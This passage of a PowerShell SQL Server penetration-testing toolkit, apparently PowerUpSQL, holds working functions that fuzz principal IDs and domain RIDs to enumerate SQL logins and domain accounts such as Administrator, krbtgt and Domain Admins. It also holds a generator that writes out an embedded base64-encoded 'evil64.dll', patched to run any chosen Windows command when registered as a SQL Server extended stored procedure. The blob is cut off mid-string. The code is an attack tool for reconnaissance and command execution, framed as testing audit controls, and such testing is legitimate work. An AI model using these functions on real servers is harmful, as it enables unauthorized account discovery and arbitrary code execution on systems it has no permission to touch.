        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose -Message "$Instance : Enumerating principal names from principal IDs.."                
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Fuzz from StartId to EndId
        $StartId..$EndId | 
        ForEach-Object -Process {
            # Define Query
            $Query = "SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$_' as [PrincipalId],
            SUSER_NAME($_) as [PrincipleName]"
                                        
            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
                        
            # check if principal is role, sql login, or windows account
            $PrincipalName = $TblResults.PrincipleName            
            $PrincipalId = $TblResults.PrincipalId
            
            if($GetPrincipalType)
            {
                $RoleCheckQuery = "EXEC master..sp_defaultdb '$PrincipalName', 'NOTAREALDATABASE1234ABCD'"
                $RoleCheckResults = Get-SQLQuery -Instance $Instance -Query $RoleCheckQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -ReturnError
            
                # Check the error message for a signature that means the login is real
                if (($RoleCheckResults -like '*NOTAREALDATABASE*') -or ($RoleCheckResults -like '*alter the login*'))
                {
                    #
                    if($PrincipalName -like '*\*')
                    {
                        $PrincipalType = 'Windows Account'
                    }
                    else
                    {
                        $PrincipalType = 'SQL Login'
                    }
                }
                else
                {
                    $PrincipalType = 'SQL Server Role'
                }         
            }

            # Output for user
            if(-not $SuppressVerbose)
            {
                if($PrincipalName.length -ge 2)
                {
                    Write-Verbose -Message "$Instance : - Principal ID $_ resolved to: $PrincipalName ($PrincipalType)"
                }
                else
                {
                    Write-Verbose -Message "$Instance : - Principal ID $_ resolved to: "
                }
            }
        
            # Append results
            #$TblFuzzedLogins = $TblFuzzedLogins + $TblResults
            if($GetPrincipalType)
            {
                $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName, $PrincipalType)
            }
            else
            {
                $null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName)
            }
        }  
    }

    End
    {  
        # Return data
        $TblFuzzedLogins | Where-Object -FilterScript {
            $_.PrincipleName.length -ge 2
        }
    }
}


# ----------------------------------
# Get-SQLFuzzDomainAccount
# ----------------------------------
# Author: Scott Sutherland
Function  Get-SQLFuzzDomainAccount
{
    <#
            .SYNOPSIS
            Enumerates domain groups, computer accounts, and user accounts based on domain RID using SUSER_SNAME() and only the Public role.
            Note: In a typical domain 10000 or more is recommended for the EndId.
            .PARAMETER Username
            SQL Server or domain account to authenticate with.
            .PARAMETER Password
            SQL Server or domain account password to authenticate with.
            .PARAMETER Credential
            SQL Server credential.
            .PARAMETER Instance
            SQL Server instance to connection to.
            .PARAMETER StartId
            RID to start fuzzing with.
            .PARAMETER EndId
            RID to stop fuzzing with.
            .EXAMPLE
            PS C:\> Get-SQLFuzzDomainAccount -Instance SQLServer1\STANDARDDEV2014 -Verbose -StartId 500 -EndId 1500
 
            VERBOSE: SQLServer1\STANDARDDEV2014 : Connection Success.
            VERBOSE: SQLServer1\STANDARDDEV2014 : Enumerating Domain accounts from the SQL Server's default domain...
            VERBOSE: SQLServer1\STANDARDDEV2014 : RID 0x010500000000000515000000A132413243431431326051C0f4010000 (500) Resolved to: Domain\Administrator
            VERBOSE: SQLServer1\STANDARDDEV2014 : RID 0x010500000000000515000000A132413243431431326051C0f5010000 (501) Resolved to: Domain\Guest
            VERBOSE: SQLServer1\STANDARDDEV2014 : RID 0x010500000000000515000000A132413243431431326051C0f6010000 (502) Resolved to: Domain\krbtgt
            [TRUNCATED]
 
            ComputerName Instance DomainAccount
            ------------ -------- -------------
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Administrator
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Guest
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\krbtgt
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Domain Guests
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Domain Computers
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Domain Controllers
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Cert Publishers
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Schema Admins
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Enterprise Admins
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Group Policy Creator Owners
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Read-only Domain Controllers
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Cloneable Domain Controllers
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Protected Users
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\RAS and IAS Servers
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Allowed RODC Password Replication Group
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\Denied RODC Password Replication Group
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\HelpServicesGroup
         
            [TRUNCATED]
 
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\MyUser
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\MyDAUser
            SQLServer1 SQLServer1\STANDARDDEV2014 Domain\MyEAUser
    #>
    [CmdletBinding()]
    Param(
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account to authenticate with.')]
        [string]$Username,

        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server or domain account password to authenticate with.')]
        [string]$Password,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Windows credentials.')]
        [System.Management.Automation.PSCredential]
        [System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
        
        [Parameter(Mandatory = $false,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance to connection to.')]
        [string]$Instance,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Principal ID to start fuzzing with.')]
        [string]$StartId = 500,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Principal ID to stop fuzzing on.')]
        [string]$EndId = 1000,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
        [switch]$SuppressVerbose
    )

    Begin
    {
        # Table for output
        $TblFuzzedAccounts = New-Object -TypeName System.Data.DataTable
    }

    Process
    {        
        # Parse computer name from the instance
        $ComputerName = Get-ComputerNameFromInstance -Instance $Instance

        # Default connection to local default instance
        if(-not $Instance)
        {
            $Instance = $env:COMPUTERNAME
        }

        # Test connection to instance
        $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
            $_.Status -eq 'Accessible'
        }
        if($TestConnection)
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Success."
                Write-Verbose -Message "$Instance : Enumerating Domain accounts from the SQL Server's default domain..."
            }
        }
        else
        {
            if( -not $SuppressVerbose)
            {
                Write-Verbose -Message "$Instance : Connection Failed."
            }
            return
        }

        # Grab server information
        $ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose                  
        $ComputerName = $ServerInfo.ComputerName
        $Instance = $ServerInfo.Instance
        $Domain = $ServerInfo.DomainName
        $DomainGroup = "$Domain\Domain Admins"
        $DomainGroupSid = Get-SQLQuery -Instance $Instance -Query "select SUSER_SID('$DomainGroup') as DomainGroupSid" -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
        $DomainGroupSidBytes = $DomainGroupSid | Select-Object -Property domaingroupsid -ExpandProperty domaingroupsid
        $DomainGroupSidString = [System.BitConverter]::ToString($DomainGroupSidBytes).Replace('-','').Substring(0,48)
        
        # Fuzz from StartId to EndId
        $StartId..$EndId | 
        ForEach-Object -Process {
            # Convert to Principal ID to hex
            $PrincipalIDHex = '{0:x}' -f $_

            # Get number of characters
            $PrincipalIDHexPad1 = $PrincipalIDHex | Measure-Object -Character         
            $PrincipalIDHexPad2 = $PrincipalIDHexPad1.Characters

            # Check if number is even and fix leading 0 if needed
            If([bool]($PrincipalIDHexPad2%2))
            {
                $PrincipalIDHexFix = "0$PrincipalIDHex"
            }

            # Reverse the order of the hex
            $GroupsOfTwo = $PrincipalIDHexFix -split '(..)' | Where-Object -FilterScript {
                $_
            }
            $GroupsOfTwoR = $GroupsOfTwo | Sort-Object -Descending
            $PrincipalIDHexFix2 = $GroupsOfTwoR -join ''

            # Pad to 8 bytes
            $PrincipalIDPad = $PrincipalIDHexFix2.PadRight(8,'0')

            # Create users rid
            $Rid = "0x$DomainGroupSidString$PrincipalIDPad"  

            # Define Query
            $Query = "SELECT '$ComputerName' as [ComputerName],
                '$Instance' as [Instance],
                '$Rid' as [RID],
            SUSER_SNAME($Rid) as [DomainAccount]"
                                        
            # Execute Query
            $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose  
            
            $DomainAccount = $TblResults.DomainAccount
            if($DomainAccount.length -ge 2)
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : - RID $Rid ($_) resolved to: $DomainAccount"
                }
            }
            else
            {
                if( -not $SuppressVerbose)
                {
                    Write-Verbose -Message "$Instance : - RID $Rid ($_) resolved to: "
                }
            }
        
            # Append results
            $TblFuzzedAccounts = $TblFuzzedAccounts + $TblResults              
        }          
    }

    End
    {  
        # Return data
        $TblFuzzedAccounts |
        Select-Object -Property ComputerName, Instance, DomainAccount -Unique |
        Where-Object -FilterScript {
            $_.DomainAccount -notlike ''
        }
    }
}


# -------------------------------------------
# Function: Get-ComputerNameFromInstance
# ------------------------------------------
# Author: Scott Sutherland
Function Get-ComputerNameFromInstance
{
    <#
            .SYNOPSIS
            Parses computer name from a provided instance.
            .PARAMETER Instance
            SQL Server instance to parse.
            .EXAMPLE
            PS C:\> Get-ComputerNameFromInstance -Instance SQLServer1\STANDARDDEV2014
            SQLServer1
    #>
    [CmdletBinding()]
    Param(          
        [Parameter(Mandatory = $false,
        ValueFromPipeline = $true,
        ValueFromPipelineByPropertyName = $true,
        HelpMessage = 'SQL Server instance.')]
        [string]$Instance
    )
        
    # Parse ComputerName from provided instance
    If ($Instance)
    {
        $ComputerName = $Instance.split('\')[0].split(',')[0]
    }
    else
    {
        $ComputerName = $env:COMPUTERNAME
    }            
    
    Return $ComputerName
}


# -------------------------------------------
# Function: Get-SQLServiceLocal
# -------------------------------------------
# Author: Scott Sutherland
Function  Get-SQLServiceLocal 
{
    <#
            .SYNOPSIS
            Returns local SQL Server services using Get-WmiObject -Class win32_service. This can only be run against the local server.
            .EXAMPLE
            PS C:\> Get-SQLServiceLocal | Format-Table -AutoSize
 
            ComputerName ServiceDisplayName ServiceName ServicePath
            ------------ ------------------ ----------- -----------
            SQLServer1 SQL Server Integration Services 12.0 MsDtsServer120 "C:\Program Files\Microsoft SQL Server\120\DTS\Binn\MsDt...
            SQLServer1 SQL Server Analysis Services (STANDARDDEV2014) MSOLAP$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSAS12.STANDARDDE...
            SQLServer1 SQL Server (SQLEXPRESS) MSSQL$SQLEXPRESS "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRES...
            SQLServer1 SQL Server (STANDARDDEV2014) MSSQL$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDD...
            SQLServer1 SQL Full-text Filter Daemon Launcher (MSSQLSERVER) MSSQLFDLauncher "C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERV...
            SQLServer1 SQL Full-text Filter Daemon Launcher (SQLEXPRESS) MSSQLFDLauncher$SQLEXPRESS "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRES...
            SQLServer1 SQL Full-text Filter Daemon Launcher (STANDARDDEV2014) MSSQLFDLauncher$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDD...
            SQLServer1 SQL Server (MSSQLSERVER) MSSQLSERVER "C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERV...
            SQLServer1 SQL Server Analysis Services (MSSQLSERVER) MSSQLServerOLAPService "C:\Program Files\Microsoft SQL Server\MSAS12.MSSQLSERVE...
            SQLServer1 SQL Server Reporting Services (MSSQLSERVER) ReportServer "C:\Program Files\Microsoft SQL Server\MSRS12.MSSQLSERVE...
            SQLServer1 SQL Server Reporting Services (SQLEXPRESS) ReportServer$SQLEXPRESS "C:\Program Files\Microsoft SQL Server\MSRS12.SQLEXPRESS...
            SQLServer1 SQL Server Reporting Services (STANDARDDEV2014) ReportServer$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSRS12.STANDARDDE...
            SQLServer1 SQL Server Distributed Replay Client SQL Server Distributed Replay Client "C:\Program Files (x86)\Microsoft SQL Server\120\Tools\D...
            SQLServer1 SQL Server Distributed Replay Controller SQL Server Distributed Replay Controller "C:\Program Files (x86)\Microsoft SQL Server\120\Tools\D...
            SQLServer1 SQL Server Agent (SQLEXPRESS) SQLAgent$SQLEXPRESS "C:\Program Files\Microsoft SQL Server\MSSQL12.SQLEXPRES...
            SQLServer1 SQL Server Agent (STANDARDDEV2014) SQLAgent$STANDARDDEV2014 "C:\Program Files\Microsoft SQL Server\MSSQL12.STANDARDD...
            SQLServer1 SQL Server Browser SQLBrowser "C:\Program Files (x86)\Microsoft SQL Server\90\Shared\s...
            SQLServer1 SQL Server Agent (MSSQLSERVER) SQLSERVERAGENT "C:\Program Files\Microsoft SQL Server\MSSQL12.MSSQLSERV...
            SQLServer1 SQL Server VSS Writer SQLWriter "C:\Program Files\Microsoft SQL Server\90\Shared\sqlwrit...
    #>
    Begin
    {
        # Table for output
        $TblLocalInstances = New-Object -TypeName System.Data.DataTable
        $null = $TblLocalInstances.Columns.Add('ComputerName')
        $null = $TblLocalInstances.Columns.Add('ServiceDisplayName')
        $null = $TblLocalInstances.Columns.Add('ServiceName')
        $null = $TblLocalInstances.Columns.Add('ServicePath')
        $null = $TblLocalInstances.Columns.Add('ServiceAccount')
        $null = $TblLocalInstances.Columns.Add('ServiceState')
    }

    Process
    {       
        # Grab SQL Server services based on file path
        $SqlServices = Get-WmiObject -Class win32_service |
        Where-Object -FilterScript {
            $_.pathname -like '*Microsoft SQL Server*'
        } |
        Select-Object -Property DisplayName, PathName, Name, StartName, State, SystemName
       
        # Add recrds to SQL Server instance table
        $SqlServices |
        ForEach-Object -Process {
            $null = $TblLocalInstances.Rows.Add(
                [string]$_.SystemName,
                [string]$_.DisplayName,
                [string]$_.Name,
                [string]$_.PathName,
                [string]$_.StartName,
            [string]$_.State)                  
        }
    }

    End
    {  
        
        # Status User
        $LocalInstanceCount = $TblLocalInstances.rows.count

        # Return data
        $TblLocalInstances         
    }
}


# -------------------------------------------
# Function: Create-SQLFileXpDll
# -------------------------------------------
function Create-SQLFileXpDll
{
    <#
            .SYNOPSIS
            This script can be used to generate a DLL file with an exported function that can be registered as an
            extended stored procedure in SQL Server. The exported function can be configured to run any
            Windows command. This script is intended to be used to test basic SQL Server audit controls around
            the sp_addextendedproc and sp_dropextendedproc stored procedures used to register and unregister
            extended stored procedures.
            .PARAMETER ExportName
            Name of the exported function that will be created.
            .PARAMETER Command
            Operating system command that the exported function will run.
            .PARAMETER OutFile
            Name of the Dll file to write to.
            .EXAMPLE
            PS C:\temp> Create-SQLFileXpDll -OutFile c:\temp\test.dll -Command "echo test > c:\temp\test.txt" -ExportName xp_test
  
            Creating DLL c:\temp\test.dll
            - Exported function name: xp_test
            - Exported function command: "echo test > c:\temp\test.txt"
            - DLL written
            - Manual test: rundll32 c:\temp\test.dll,xp_test
  
            SQL Server Notes
            The exported function can be registered as a SQL Server extended stored procedure. Options below:
            - Register xp via local disk: sp_addextendedproc 'xp_test', 'c:\temp\myxp.dll'
            - Register xp via UNC path: sp_addextendedproc 'xp_test', '\\servername\pathtofile\myxp.dll'
            - Unregister xp: sp_dropextendedproc 'xp_test'
            .LINK
            http://en.cppreference.com/w/cpp/utility/program/system
            http://www.netspi.com
 
            .NOTES
            The extended stored procedure template used to create the DLL shell was based on the following stackoverflow post:
            http://stackoverflow.com/questions/12749210/how-to-create-a-simple-dll-for-a-custom-sql-server-extended-stored-procedure
 
            Modified source code used to create the DLL can be found at the link below:
            https://github.com/nullbind/Powershellery/blob/master/Stable-ish/MSSQL/xp_evil_template.cpp
         
            The method used to patch the DLL was based on Will Schroeder "Invoke-PatchDll" function found in the PowerUp toolkit:
            https://github.com/HarmJ0y/PowerUp
    #>

    [CmdletBinding()]
    Param(

        [Parameter(Mandatory = $false,
        HelpMessage = 'Operating system command to run.')]
        [string]$Command,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Name of exported function.')]
        [string]$ExportName,

        [Parameter(Mandatory = $false,
        HelpMessage = 'Dll file to write to.')]
        [string]$OutFile
    )

    # -----------------------------------------------
    # Define the DLL file and command to be executed
    # -----------------------------------------------

    # This is the base64 encoded evil64.dll -command: base64 -w 0 evil64.dll > evil64.dll.b64
    $DllBytes64 = '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zMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMxAVVdIgezIAAAASIvsSIv8uTIAAAC4zMzMzPOruAEAAABIjaXIAAAAX13DzMzMzMzMzMzMzMzMzMzMzMzMzMzMSIlMJAhVV0iB7MgAAABIi+xIi/y5MgAAALjMzMzM86tIi4wk6AAAAEiNpcgAAABfXcPMzMzMzMzMzMzMzMzMzEiJVCQQSIlMJAhVV0iB7MgAAABIi+xIi/y5MgAAALjMzMzM86tIi4wk6AAAAEiNpcgAAABfXcPMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMzMTIlEJBiJVCQQSIlM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